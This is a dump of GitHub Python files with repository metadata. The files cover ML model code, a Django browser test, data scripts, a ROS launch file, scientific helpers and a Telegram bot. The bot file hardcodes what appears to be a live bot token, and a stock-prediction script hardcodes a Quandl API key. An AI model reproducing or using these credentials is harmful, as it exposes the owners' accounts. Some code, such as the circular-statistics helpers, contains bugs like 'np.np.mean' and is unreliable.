0] * rope_cache[..., 1],\n        ],\n        -1,\n    )\n\n    x_out2 = x_out2.flatten(3)\n    return x_out2.type_as(x)\n\n","repo_name":"Jaijith/MyLLama","sub_path":"domi/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":24812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70103076488","text":"import re\n\nfrom django.urls import reverse\nfrom django.utils import timezone\nfrom tests.browser.selenium_helpers import SeleniumTestCase\n\nfrom orm.models import BitbakeVersion, Release, Project, Build, Target\n\nclass TestProjectBuildsPage(SeleniumTestCase):\n    \"\"\" Test data at /project/X/builds is displayed correctly \"\"\"\n\n    PROJECT_NAME = 'test project'\n    CLI_BUILDS_PROJECT_NAME = 'command line builds'\n\n    def setUp(self):\n        bbv = BitbakeVersion.objects.create(name='bbv1', giturl='/tmp/',\n                                            branch='master', dirpath='')\n        release = Release.objects.create(name='release1',\n                                         bitbake_version=bbv)\n        self.project1 = Project.objects.create_project(name=self.PROJECT_NAME,\n                                                       release=release)\n        self.project1.save()\n\n        self.project2 = Project.objects.create_project(name=self.PROJECT_NAME,\n                                                       release=release)\n        self.project2.save()\n\n        self.default_project = Project.objects.create_project(\n            name=self.CLI_BUILDS_PROJECT_NAME,\n            release=release\n        )\n        self.default_project.is_default = True\n        self.default_project.save()\n\n        # parameters for builds to associate with the projects\n        now = timezone.now()\n\n        self.project1_build_success = {\n            'project': self.project1,\n            'started_on': now,\n            'completed_on': now,\n            'outcome': Build.SUCCEEDED\n        }\n\n        self.project1_build_in_progress = {\n            'project': self.project1,\n            'started_on': now,\n            'completed_on': now,\n            'outcome': Build.IN_PROGRESS\n        }\n\n        self.project2_build_success = {\n            'project': self.project2,\n            'started_on': now,\n            'completed_on': now,\n            'outcome': Build.SUCCEEDED\n        }\n\n        self.project2_build_in_progress = {\n            'project': self.project2,\n            'started_on': now,\n            'completed_on': now,\n            'outcome': Build.IN_PROGRESS\n        }\n\n    def _get_rows_for_project(self, project_id):\n        \"\"\"\n        Helper to retrieve HTML rows for a project's builds,\n        as shown in the main table of the page\n        \"\"\"\n        url = reverse('projectbuilds', args=(project_id,))\n        self.get(url)\n        self.wait_until_present('#projectbuildstable tbody tr')\n        return self.find_all('#projectbuildstable tbody tr')\n\n    def test_show_builds_for_project(self):\n        \"\"\" Builds for a project should be displayed in the main table \"\"\"\n        Build.objects.create(**self.project1_build_success)\n        Build.objects.create(**self.project1_build_success)\n        build_rows = self._get_rows_for_project(self.project1.id)\n        self.assertEqual(len(build_rows), 2)\n\n    def test_show_builds_project_only(self):\n        \"\"\" Builds for other projects should be excluded \"\"\"\n        Build.objects.create(**self.project1_build_success)\n        Build.objects.create(**self.project1_build_success)\n        Build.objects.create(**self.project1_build_success)\n\n        # shouldn't see these two\n        Build.objects.create(**self.project2_build_success)\n        Build.objects.create(**self.project2_build_in_progress)\n\n        build_rows = self._get_rows_for_project(self.project1.id)\n        self.assertEqual(len(build_rows), 3)\n\n    def test_builds_exclude_in_progress(self):\n        \"\"\" \"in progress\" builds should not be shown in main table \"\"\"\n        Build.objects.create(**self.project1_build_success)\n        Build.objects.create(**self.project1_build_success)\n\n        # shouldn't see this one\n        Build.objects.create(**self.project1_build_in_progress)\n\n        # shouldn't see these two either, as they belong to a different project\n        Build.objects.create(**self.project2_build_success)\n        Build.objects.create(**self.project2_build_in_progress)\n\n        build_rows = self._get_rows_for_project(self.project1.id)\n        self.assertEqual(len(build_rows), 2)\n\n    def test_show_tasks_with_suffix(self):\n        \"\"\" Task should be shown as suffixes on build names \"\"\"\n        build = Build.objects.create(**self.project1_build_success)\n        target = 'bash'\n        task = 'clean'\n        Target.objects.create(build=build, target=target, task=task)\n\n        url = reverse('projectbuilds', args=(self.project1.id,))\n        self.get(url)\n        self.wait_until_present('td[class=\"target\"]')\n\n        cell = self.find('td[class=\"target\"]')\n        content = cell.get_attribute('innerHTML')\n        expected_text = '%s:%s' % (target, task)\n\n        self.assertTrue(re.search(expected_text, content),\n                        '\"target\" cell should contain text %s' % expected_text)\n\n    def test_cli_builds_hides_tabs(self):\n        \"\"\"\n        Display for command line builds should hide tabs\n        \"\"\"\n        url = reverse('projectbuilds', args=(self.default_project.id,))\n        self.get(url)\n        tabs = self.find_all('#project-topbar')\n        self.assertEqual(len(tabs), 0,\n                         'should be no top bar shown for command line builds')\n\n    def test_non_cli_builds_has_tabs(self):\n        \"\"\"\n        Non-command-line builds projects should show the tabs\n        \"\"\"\n        url = reverse('projectbuilds', args=(self.project1.id,))\n        self.get(url)\n        tabs = self.find_all('#project-topbar')\n        self.assertEqual(len(tabs), 1,\n                         'should be a top bar shown for non-command-line builds')\n","repo_name":"openbmc/openbmc","sub_path":"poky/bitbake/lib/toaster/tests/browser/test_project_builds_page.py","file_name":"test_project_builds_page.py","file_ext":"py","file_size_in_byte":5607,"program_lang":"python","lang":"en","doc_type":"code","stars":1525,"dataset":"github-code","pt":"16"}
+{"seq_id":"19597392634","text":"from bs4 import BeautifulSoup\nfrom urllib.request import urlopen\nimport json, datetime, csv, tqdm\n\nGOODREADS_URL = \"https://www.goodreads.com/book/show/\"\n\ndef convert_book(book):\n    return {\n        \"Title\": book['Title'],\n        \"Author\": book['Author'],\n        \"Additional Authors\": book['Additional Authors'],\n        \"ISBN\": book['ISBN'],\n        \"ISBN13\": book['ISBN13'],\n        \"My Rating\": book['My Rating'],\n        \"Average Rating\": book['Average Rating'],\n        \"Publisher\": book['Publisher'],\n        \"Binding\": book['Binding'],\n        \"Number of Pages\": book['Number of Pages'],\n        \"Year Published\": book['Year Published'],\n        \"Original Publication Year\": book['Original Publication Year'],\n        \"Date Read\": book['Date Read'],\n        \"Date Added\": book['Date Added'],\n        \"Bookshelves\": book['Bookshelves'],\n        \"Status\": book['Exclusive Shelf'],\n        \"Cover\": None,\n        \"Book Id\": book['Book Id'],\n    }\n\nwith open('goodreads.json') as f:\n  books_ = json.load(f)\n\nbooks = []\n\n\nfor book_ in books_:\n    book = convert_book(book_)\n    if book[\"Status\"] != 'to-read':\n        books.append(book)\n\n# for book in tqdm.tqdm(books):\n#     url = GOODREADS_URL + str(book['Book Id'])\n#     url_open = urlopen(url)\n#     soup = BeautifulSoup(url_open, 'html.parser')\n#     tag = soup.find(\"img\", {\"id\": \"coverImage\"})\n#     try:\n#         book['Cover'] = tag['src']\n#     except:\n#         print(\"Book:\", url, \"found with no cover, try changing edition.\")\n\n# csv_columns = [\"Title\"\n# , \"Author\"\n# , \"Additional Authors\"\n# , \"ISBN\"\n# , \"ISBN13\"\n# , \"My Rating\"\n# , \"Average Rating\"\n# , \"Publisher\"\n# , \"Binding\"\n# , \"Number of Pages\"\n# , \"Year Published\"\n# , \"Original Publication Year\"\n# , \"Date Read\"\n# , \"Date Added\"\n# , \"Bookshelves\"\n# , \"Status\"\n# , \"Cover\",\n# \"Book Id\"]\n\ntime_stamp =  datetime.datetime.now().strftime(\"%b-%d-%y-%H:%M:%S\")\n\nwith open('with_covers_{}.json'.format(time_stamp), mode='w') as jsonfile:\n    json.dump(books, jsonfile)\n    # writer = csv.DictWriter(csvfile, fieldnames=csv_columns)\n    # writer.writeheader()\n    # for data in books:\n    #     writer.writerow(data)","repo_name":"thiagomgd/exports","sub_path":"goodreads/load_covers.py","file_name":"load_covers.py","file_ext":"py","file_size_in_byte":2137,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"16"}
+{"seq_id":"10085490672","text":"# Silver 3 - 크리스마스 선물\n\nfrom heapq import heappush, heappop\nimport sys\ninput = sys.stdin.readline\n\nhq = []\nfor _ in range(int(input())):\n    a = list(map(int, input().split()))\n\n    if a[0] == 0:\n        print(heappop(hq) * -1 if hq else -1)\n    else:\n        for i in a[1:]:\n            heappush(hq, -i)\n","repo_name":"vhzkclq0705/Algorithm_Problem_Solving","sub_path":"BackJoon/Study/Week7/14235.py","file_name":"14235.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34308970260","text":"\"\"\"Constants for the EnOcean integration.\"\"\"\n\nDOMAIN = \"my_enocean\"\n\nCONF_ENTRY_ID = \"entry_id\"\nCONF_SERIAL_PORT = \"serial_port\"\nCONF_IDENTIFIERS = \"identifiers\"\nCONF_MANUFACTURER = \"manufacturer\"\nCONF_MODEL = \"model\"\nCONF_VIA_DEVICE = \"via_device\"\nCONF_NO_OF_CHANNELS = \"no_of_channels\"\nCONF_OPTION = \"option\"\nCONF_LOADED = \"loaded\"\n\nDATA_BASE = \"data_base\"\nDATA_CONFIG = \"data_config\"\nDATA_DEVICES = \"data_devices\"\nDATA_DISPATCHERS = \"data_dispatchers\"\nDATA_DONGLE = \"data_dongle\"\nDATA_PLATFORM = \"data_platform\"\n\nDEFAULT_CONF_HUB_SERIAL_PORT = \"/dev/ttyS3\"\nDEFAULT_CONF_HUB_MANUFACTURER = \"element14\"\nDEFAULT_CONF_HUB_MODEL = \"TCM 310\"\nDEFAULT_DATABASE_NAME = \"enocean.sqlite\"\n\n#DEVICE_MANUFACTURER_NODON = \"NodOn\"\n#DEVICE_MANUFACTURER_ELTAKO = \"Eltako\"\n#DEVICE_MANUFACTURERS = [DEVICE_MANUFACTURER_ELTAKO, DEVICE_MANUFACTURER_NODON]\n#\n#DEVICE_MODEL_NODON_SIN_2_1_01 = \"SIN-2-1-01\"\n#DEVICE_MODEL_ELTAKO_FSR61NP = \"FSR61NP\"\n#DEVICE_MODELS = [DEVICE_MODEL_ELTAKO_FSR61NP, DEVICE_MODEL_NODON_SIN_2_1_01]\n\nDELAY_INIT = 3\n\nENOCEAN_TRANSCEIVER = \"EnOcean Transceiver\"\nENOCEAN_SWITCH = \"EnOcean Switch\"\n\n#OPTION_NONE = \"\"\n#OPTION_ADD_SWITCH = \"add_switch\"\n#OPTION_TEACH_IN = \"Teach-In\"\n#OPTION_LIST = [OPTION_NONE,OPTION_ADD_SWITCH,OPTION_TEACH_IN]\n\nRETURN_DB_NEW = \"return_db_new\"\nRETURN_DB_EXISTING = \"return_db_existing\"\n\nSERVICE_TEACH_IN = \"service_teach_in\"\nSERVICE_ADD_SWITCH = \"service_add_switch\"\nSERVICE_REMOVE_DEVICE = \"service_remove_device\"\n\nSIGNAL_RECEIVE_PACKET = \"enocean.receive_packet\"\nSIGNAL_SEND_PACKET = \"enocean.send_packet\"\nSIGNAL_TEACH_IN = \"enocean.teach_in\"\nSIGNAL_ADD_ENTITIES = \"enocean.add_entities\"\n\n\nDEVICES_EEP = {\n    \"NodOn_SIN-2-1-01\": [\"TeachIn_UTE\", \"D2-01-00\"],\n    \"NodOn_SIN-2-2-01\": [\"TeachIn_UTE\", \"D2-01-00\"],\n    \"Eltako_FSR61NP\": [\"TeachIn_4BS\", \"F6-02-01\", \"A5-38-08\"],\n    \"FLEXtron_300610\": [\"TeachIn_4BS\", \"A5-11-04\", \"A5-38-08\"],\n    }\n","repo_name":"refohl/ha_my_enocean","sub_path":"const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":1881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"40469436189","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import with_statement\nfrom __future__ import division\nfrom __future__ import nested_scopes\nfrom __future__ import generators\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\nfrom neurotools.system import *\n\n'''\nExplore log-polar gaussian distributions for representing analytic\nsignal across the population.\n'''\n\n# TODO: wildcard imports considered hazardous\n#from matplotlib.pyplot import *\n#from neurotools.graphics.plot import *\n#from neurotools.graphics.color import *\n\nimport matplotlib.pyplot as mp\nimport scipy.stats\nimport numpy as np\nimport matplotlib as plt\n\ndef logpolar_gaussian(frame,doplot=False):\n    '''\n    Generates major and minor axis and one-sigma ellipse contours for a\n    log-polar complex Gaussian. Contours are returned as lists of complex\n    numbers.\n    \n    Parameters\n    ----------\n    frame : np.array\n        Complex-valued polar data to model\n    doplot : bool\n        Whether to generate a plot of the resulting distribution\n    \n    Returns\n    -------\n    axis 1 (np.array)\n    axis 2 (np.array)\n    1-sigma ellipse (np.array)\n    '''\n    # set to zero mean phase\n    theta    = np.angle(np.mean(frame))\n    rephased = frame*np.exp(1j*-theta)\n    weights  = np.abs(rephased)\n    weights  = weights/np.sum(weights)\n    x = np.log(np.abs(rephased))\n    y = np.angle(rephased)/4\n    # use 2D gaussian approximation\n    mx = np.dot(weights,x)\n    my = np.dot(weights,y)\n    cx = x - mx\n    cy = y - my\n    correction = np.sum(weights)/(np.sum(weights)**2-np.sum(weights**2))\n    cxx = np.dot(weights,cx*cx)*correction\n    cxy = np.dot(weights,cx*cy)*correction\n    cyy = np.dot(weights,cy*cy)*correction\n    cm  = np.array([[cxx,cxy],[cxy,cyy]])\n    sm  = scipy.linalg.cholesky(cm)\n    w,v = scipy.linalg.eig(cm)\n    v   = v[0,:]+1j*v[1,:]\n    origin = mx + 1j*my\n    w = np.sqrt(w)\n    axis1  = origin + v[0]*w[0]*np.linspace(-1,1,100)\n    axis2  = origin + v[1]*w[1]*np.linspace(-1,1,100)\n    circle = np.exp(1j*linspace(0,2*pi,100))\n    circle = p2c(np.dot(sm,[circle.real,circle.imag]))+origin\n    phase  = np.exp(1j*theta)\n    if doplot:\n        plot(*c2p(np.exp(axis1)*phase),color='r',lw=2,zorder=Inf)\n        plot(*c2p(np.exp(axis2)*phase),color='r',lw=2,zorder=Inf)\n        plot(*c2p(np.exp(circle)*phase),color='r',lw=2,zorder=Inf)\n    return np.exp(axis1)*phase,np.exp(axis2)*phase,np.exp(circle)*phase\n\n\ndef complex_gaussian(frame,doplot=False):\n    '''\n    Generate axis and 1-sigma contour for a complex gaussian distribution\n    \n    Parameters\n    ----------\n    frame : np.array\n        Complex-valued polar data to model\n    doplot : bool\n        Whether to generate a plot of the resulting distribution\n    \n    Returns\n    -------\n        (axis 1, axis 2, 1-sigma ellipse)\n    '''\n    # set to zero mean phase\n    rephased = frame#*np.exp(1j*-theta)\n    weights = np.ones(np.shape(rephased))\n    weights = weights/np.sum(weights)\n    # convert to log-polar\n    x = real(rephased)\n    y = imag(rephased)\n    # use 2D gaussian approximation\n    mx = np.dot(weights,x)\n    my = np.dot(weights,y)\n    cx = x - mx\n    cy = y - my\n    #cm = cov(cx,cy)\n    correction = np.sum(weights)/(np.sum(weights)**2-np.sum(weights**2))\n    cxx = np.dot(weights,cx*cx)*correction\n    cxy = np.dot(weights,cx*cy)*correction\n    cyy = np.dot(weights,cy*cy)*correction\n    cm  = np.array([[cxx,cxy],[cxy,cyy]])\n    sm  = cholesky(cm)\n    w,v = eig(cm)\n    v = v[0,:]+1j*v[1,:]\n    origin = mx + 1j*my\n    w = np.sqrt(w)\n    axis1  = origin + v[0]*w[0]*linspace(-1,1,100)\n    axis2  = origin + v[1]*w[1]*linspace(-1,1,100)\n    circle = np.exp(1j*linspace(0,2*pi,100))\n    circle = p2c(np.dot(sm,[real(circle),imag(circle)]))+origin\n    if doplot:\n        plt.plot(*c2p(axis1) ,color='r',lw=2,zorder=Inf)\n        plt.plot(*c2p(axis2) ,color='r',lw=2,zorder=Inf)\n        plt.plot(*c2p(circle),color='r',lw=2,zorder=Inf)\n    return axis1,axis2,circle\n\ndef logpolar_stats(frame,doplot=False):\n    '''\n    Generate summary statistics for a log-polar Gaussian distribution\n    \n    Parameters\n    ----------\n    frame : np.array\n        Complex-valued polar data to model\n    doplot : bool\n        Whether to generate a plot of the resulting distribution\n    \n    Returns\n    -------\n    '''\n    z = np.mean(frame)\n    r = np.mean(np.abs(frame))\n    rl = np.mean(np.log(np.abs(frame)))\n    rs = np.std(np.abs(frame))\n    rsl = np.std(np.log(np.abs(frame)))\n    w = frame / np.abs(frame)\n    x = np.mean(w)\n    theta = angle(x)\n    #R = np.abs(x)\n    R = np.abs(z) / r\n    sd = np.sqrt(-2*np.log(R))\n    print('R,sd',R,sd)\n    cv = 1-R\n    s = np.exp(rl)*np.exp(1j*theta)\n    arc = np.exp(rl+theta*1j)*np.exp(1j*linspace(-sd,sd,100))\n    circle = np.exp(1j*linspace(0,2*pi,100))\n    circle = real(circle)*rsl + 1j*imag(circle)*sd\n    circle = circle+rl+1j*theta\n    circle = np.exp(circle)\n    radial = np.array([s*np.exp(-rsl),s*np.exp(rsl)])\n    if doplot:\n        plot(*c2p(circle),color='m',lw=2)\n        plot(*c2p(arc),color='m',lw=2)\n        plot(*c2p(radial),color='m',lw=2)\n    return circle,arc,radial\n\ndef abspolar_stats(frame,doplot=False):\n    '''\n    Generate summary statistics for a polar Gaussian distribution\n    \n    Parameters\n    ----------\n    frame : np.array\n        Complex-valued polar data to model\n    doplot : bool\n        Whether to generate a plot of the resulting distribution\n    \n    Returns\n    -------\n    '''\n    z    = frame\n    phi  = angle(np.mean(z**2))/2\n    flip = sign(np.cos(np.angle(z)-phi))\n    r    = np.abs(z)*flip\n    h    = np.angle(z) + pi*np.int32(flip==-1)\n    mr   = np.mean(r)\n    sr   = np.std(r)\n    mt   = phi\n    st   = np.sqrt(-2*np.log(np.abs(np.mean(np.exp(1j*h)))))\n    arc    = mr*np.exp(1j*(phi+linspace(-st,st,100)))\n    circle = np.exp(1j*linspace(0,2*pi,100))\n    circle = (real(circle)*sr+mr)*np.exp(1j*(imag(circle)*st+phi))\n    radial = np.array([(mr-sr)*np.exp(1j*phi),(mr+sr)*np.exp(1j*phi)])\n    if doplot:\n        plt.clf()\n        plt.plot(*c2p(circle), color='m',lw=2)\n        plt.plot(*c2p(arc   ), color='m',lw=2)\n        plt.plot(*c2p(radial), color='m',lw=2)\n        plt.scatter(*c2p([mr*np.exp(1j*phi)]),color='k',s=5**2)\n    return circle,arc,radial\n\ndef squared_first_circular_moment(samples, axis=-1, unbiased=True, dof=None):\n    '''\n    Compute squared first circular moment\n    \n    Parameters\n    ----------\n    samples : np.array\n        Complex-valued polar data to model\n    axis : int, default=-1\n        Axis over which to compute moment\n    unbiased : bool, default=True\n        Whether to apply a bias correction (small samples can have smaller\n        circular variance than expected)\n    dof : int, defualts to None\n        Optional degrees of freedome correction. If None, then the number\n        of samples minus one will be used as the degrees of freedoms\n        \n    Returns\n    -------\n    squared_average : float\n        Squared first circular moment\n    '''\n    squared_average = np.abs(np.np.mean(samples,axis=axis))**2\n    if unbiased:\n        if dof is None:\n            if not type(axis) == int:\n                dof = np.prod(np.np.array(np.shape(samples))[list(axis)])\n            else:\n                dof = np.shape(samples)[axis]\n        squared_average = (dof*squared_average-1)/(dof-1)\n    return squared_average\n\ndef fit_vonmises(z):\n    '''\n    Fit a vonMises distribution using circular moments.\n    \n    Parameters\n    ----------\n    samples : np.array\n        Complex-valued polar data to model\n    \n    Returns\n    -------\n    '''\n    scipy.stats.distributions.vonmises.a = -numpy.pi\n    scipy.stats.distributions.vonmises.b = numpy.pi\n    theta    = angle(np.mean(z))\n    dephased = z*np.exp(-1j*theta)\n    location,_,scale = scipy.stats.distributions.vonmises.fit(np.angle(dephased))\n    return location,theta,scale\n","repo_name":"michaelerule/stable-task-information","sub_path":"Version 2/Rule/neurotools/stats/circular.py","file_name":"circular.py","file_ext":"py","file_size_in_byte":7891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"34409078608","text":"from launch import LaunchDescription\nfrom launch.actions import IncludeLaunchDescription\nfrom launch.launch_description_sources import PythonLaunchDescriptionSource\nfrom launch.substitutions import LaunchConfiguration, PathJoinSubstitution\nfrom launch_ros.substitutions import FindPackageShare\n\n\ndef generate_launch_description():\n    dof = LaunchConfiguration('dof', default=6)\n    prefix = LaunchConfiguration('prefix', default='')\n    hw_ns = LaunchConfiguration('hw_ns', default='xarm')\n    limited = LaunchConfiguration('limited', default=True)\n    effort_control = LaunchConfiguration('effort_control', default=False)\n    velocity_control = LaunchConfiguration('velocity_control', default=False)\n    add_gripper = LaunchConfiguration('add_gripper', default=False)\n    add_vacuum_gripper = LaunchConfiguration('add_vacuum_gripper', default=False)\n    robot_type = LaunchConfiguration('robot_type', default='xarm')\n\n    # robot moveit servo launch\n    # xarm_moveit_servo/launch/_robot_moveit_servo.launch.py\n    robot_moveit_servo_launch = IncludeLaunchDescription(\n        PythonLaunchDescriptionSource(PathJoinSubstitution([FindPackageShare('xarm_moveit_servo'), 'launch', '_robot_moveit_servo.launch.py'])),\n        launch_arguments={\n            'dof': dof,\n            'prefix': prefix,\n            'hw_ns': hw_ns,\n            'limited': limited,\n            'effort_control': effort_control,\n            'velocity_control': velocity_control,\n            'add_gripper': add_gripper,\n            'add_vacuum_gripper': add_vacuum_gripper,\n            'robot_type': robot_type,\n        }.items(),\n    )\n    \n    return LaunchDescription([\n        robot_moveit_servo_launch\n    ])","repo_name":"xArm-Developer/xarm_ros2","sub_path":"xarm_moveit_servo/launch/xarm_moveit_servo_fake.launch.py","file_name":"xarm_moveit_servo_fake.launch.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","stars":76,"dataset":"github-code","pt":"16"}
+{"seq_id":"21013421984","text":"#! /usr/bin/env python3\n\n\"\"\"\nSpits out a posfile for a given pdb. Literally prints all resnums from an input pdb to a text file, using this for biasing\nGurobi solutions for preselected residues.\n\nUsage:\nposfile_from_input_pdb <input_pdb>\n\nArguments:\n    <input_pdb>\n        Path to input pdb\n\"\"\"\n\nimport os\nimport docopt\nimport prody\n\nif __name__ == '__main__':\n    args = docopt.docopt(__doc__)\n\n    prody_pdb = prody.parsePDB(args['<input_pdb>']).getHierView()\n    posfile_name = os.path.basename(os.path.normpath(args['<input_pdb>'])).split('.')[0] + '.pos'\n\n    with open(posfile_name, 'w') as posfile:\n        for residue in prody_pdb.iterResidues():\n            posfile.write('{}\\n'.format(residue.getResnum()))","repo_name":"jaaamessszzz/BindingSitesFromFragments-Utilities","sub_path":"Temp/posfile_from_input_pdb.py","file_name":"posfile_from_input_pdb.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"23824923810","text":"from math import cos, sin, sqrt\r\nimport random\r\n\r\n\r\nclass Atom:\r\n    def __init__(self, x, y, z):\r\n        self.x = x\r\n        self.y = y\r\n        self.z = z\r\n        self.type = 1\r\n        v0 = 2.0\r\n        z = random.random()*2.0-1\r\n        s = random.random()*3.14*2.0\r\n        self.vx = v0*sqrt(1.0-z**2)*cos(s)\r\n        self.vy = v0*sqrt(1.0-z**2)*sin(s)\r\n        self.vz = v0*z\r\n\r\n\r\ndef add_ball():\r\n    atoms = []\r\n    r = 4\r\n    s = 1.7\r\n    h = 0.5 * s\r\n    for ix in range(-r, r):\r\n        for iy in range(-r, r):\r\n            for iz in range(-r, r):\r\n                x = ix * s\r\n                y = iy * s\r\n                z = iz * s\r\n                atoms.append(Atom(x, y, z))\r\n                atoms.append(Atom(x, y+h, z+h))\r\n                atoms.append(Atom(x+h, y, z+h))\r\n                atoms.append(Atom(x+h, y+h, z))\r\n    print(f\"{len(atoms)} atoms\")\r\n    return atoms\r\n\r\n\r\ndef save_file(filename, atoms):\r\n    with open(filename, \"w\") as f:\r\n        f.write(\"Position Data\\n\\n\")\r\n        f.write(\"{} atoms\\n\".format(len(atoms)))\r\n        f.write(\"1 atom types\\n\\n\")\r\n        f.write(\"-10.00 10.00 xlo xhi\\n\")\r\n        f.write(\"-10.00 10.00 ylo yhi\\n\")\r\n        f.write(\"-10.00 10.00 zlo zhi\\n\")\r\n        f.write(\"\\n\")\r\n        f.write(\"Atoms\\n\\n\")\r\n        for i, a in enumerate(atoms):\r\n            f.write(\"{} {} {} {} {}\\n\".format(i+1, a.type, a.x, a.y, a.z))\r\n        f.write(\"\\n\")\r\n        f.write(\"Velocities\\n\\n\")\r\n        for i, a in enumerate(atoms):\r\n            f.write(\"{} {} {} {}\\n\".format(i+1, a.vx, a.vy, a.vz))\r\n    print(\"Generated {}\".format(filename))\r\n\r\n\r\nsave_file(\"config.atoms\", add_ball())\r\n","repo_name":"kaityo256/lj_and_wca","sub_path":"generate_config.py","file_name":"generate_config.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"17195448593","text":"import matplotlib as mpl\nmpl.use('Agg')\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nimport sys, re, pdb\nimport logging\nimport argparse\n\nimport pandas as pd\n\nimport datetime\n\ndef testi():\n    return 3\n\ndef read_data(file_name):\n    #logger.info(\"Reading data from file \" + file_name)\n    df = pd.read_csv(file_name, parse_dates=['datetime'], sep = ';')\n    df = df[df[\"municipalityId\"].notnull()]\n    df[\"municipalityId\"] = df[\"municipalityId\"].astype(int)\n    df[\"userId\"] = df[\"userId\"].astype(int)\n    #logger.info(\"N of rows: {:.0f}\".format(len(df)))\n    df = df.sort_values(['applicationId', 'datetime'])\n    return df\ndef print_week1a_result(df):\n    print('Amount of municipalites that have used the service is {}').format(df.municipalityId.unique().size)\ndef print_week1b_results(df):\n    print(\"Amount of application role users is {}\").format(df[df['role'] == 'applicant'].userId.unique().size)\n    print(\"Amount of authority role users is {}\").format(df[df['role'] == 'authority'].userId.unique().size)\ndef print_week2h1a_results(df):\n    print('Amount of comments on each application is:')\n    print(df[(df['action'] == 'add-comment')].groupby('applicationId').count().userId)\n#Create month column from createDate\ndef print_week2a1b_results(df_operative):\n    df_operative['createdMonth'] = df_operative['createdDate'].map(lambda x: x.month)\n    createdMonthPlot = df_operative[df_operative['state'] == 'submitted'].groupby('createdMonth').size().plot(kind='bar', title='Amount of application submitted each month')\n    createdMonthPlot.set_xlabel('Month')\n\nif __name__ == \"__main__\":\n    usage_file = \"/Users/toniok/Python/Python-data-science-exercises/data/all-lupapiste-usage-pub-20161031.csv\"\n    operative_file = \"/Users/toniok/Python/Python-data-science-exercises/data/all-applications-operative-pub-20161031.csv\"\n    df = read_data(usage_file)\n    df_operative = pd.read_csv(operative_file, parse_dates=['createdDate', 'submittedDate'], sep = ';')\n    print_week1a_result(df)\n    print_week1b_results(df)\n    print_week2h1a_results(df)\n    print_week2a1b_results(df_operative)\n","repo_name":"neurogoo/Python-data-science-exercises","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"44100172232","text":"import datetime\nimport asyncio\nfrom aiogram import Bot, Dispatcher, executor, types\nfrom config import settings\n\nbot = Bot('5165798370:AAE9F4cCCbYySC0LGBf4b3cQWJ9ws6-r7J8')\ndp = Dispatcher(bot)\n\n\nasync def send_info():\n    last_rsi_btc = settings.crypto_status['btc']['last_rsi']\n    last_rsi_ltc = settings.crypto_status['ltc']['last_rsi']\n    last_rsi_eth = settings.crypto_status['eth']['last_rsi']\n\n    text_message = f'''\nПоследнее значение BTC: {last_rsi_btc}\nПоследнее значение LTC: {last_rsi_ltc}\nПоследнее значение ETH: {last_rsi_eth}\n        '''\n    settings.crypto_status['btc']['rsi'] = 0\n    await bot.send_message(\"-974345397\", text_message)\n","repo_name":"prorokallaha/btc_scraping","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"75032761928","text":"# Recurrent Neural Network\n\n# Part 1 - Data Preprocessing\n\n# Importing the libraries\n\nimport matplotlib.pyplot as plt\n#Using Quandl\nimport numpy as np\nimport pandas as pd\nimport quandl\nimport datetime\n\n\n\n#importing the training set of AAPL\n\nstart = datetime.datetime(2013,1,1)\n#\nend=datetime.datetime(2017,11,5)\n\n#start_test=datetime.datetime(2017,10,21)\n#end_test=datetime.datetime(2017,10,3)\n\n#Getting HH HL LL LH of a stock\nmystock_training=quandl.get('WIKI/AAPL',start_date=start,end_date=end)\n\n\n\n#keeping only the heigh and low with volume\nmystock_training=mystock_training[['Adj. Open','Adj. Close','Adj. Volume','Adj. Low','Adj. High']]\n\n#mystock_training['Date']=mystock_training.index\n\n#getting the sentimental dada\nmysent_training=quandl.get('NS1/AAPL_CI',api_key='No8oze7d5V48kqY_rSuy',start_date=start,end_date=end)\nmysent_training=mysent_training[['Sentiment','News Volume','News Buzz']]\n#mysent_training['Date']=mysent_training.index\n\ntraining_set=mysent_training.join(mystock_training)\ndataset=training_set.dropna()\n############################################\n#get the LL HL LH HH\n\ndataset['Diff_H']=dataset['Adj. High'].diff()\ndataset['Diff_L']=dataset['Adj. Low'].diff()\ndataset=dataset.dropna()\n\n#dataset['Diff_L']=np.where(dataset['Diff_L']>0,'HL','LL')\n#dataset['Diff_H']=np.where(dataset['Diff_H']>0,'HH','LH')\n\n\n\n#dataset['status']=dataset['Diff_H']+dataset['Diff_L']\n#del dataset['Diff_H']\n#del dataset['Diff_L']\n\n#original=dataset['status']\n\n#from sklearn.preprocessing import LabelEncoder, OneHotEncoder\n#labelencoder = LabelEncoder()\n##onehotencoder=OneHotEncoder(categorical_features=dataset['Diff_L'])\n#dataset['Diff_L']=labelencoder.fit_transform(dataset['Diff_L'])\n#\n##onehotencoder.fit_transform(dataset['Diff_L']).toarray()\n##Add the hot encoder\n\n\n\n#convert DataFram to Array\ndataset=dataset.values\n\n\n## Feature Scaling\n## Feature Scaling so we apply Normalization but not Standardisation\n#from sklearn.preprocessing import StandardScaler\n#sc = StandardScaler()\n#training_set_scaled = sc.fit_transform(dataset)\n#\n#\n##try Robustscaler\n#from sklearn.preprocessing import 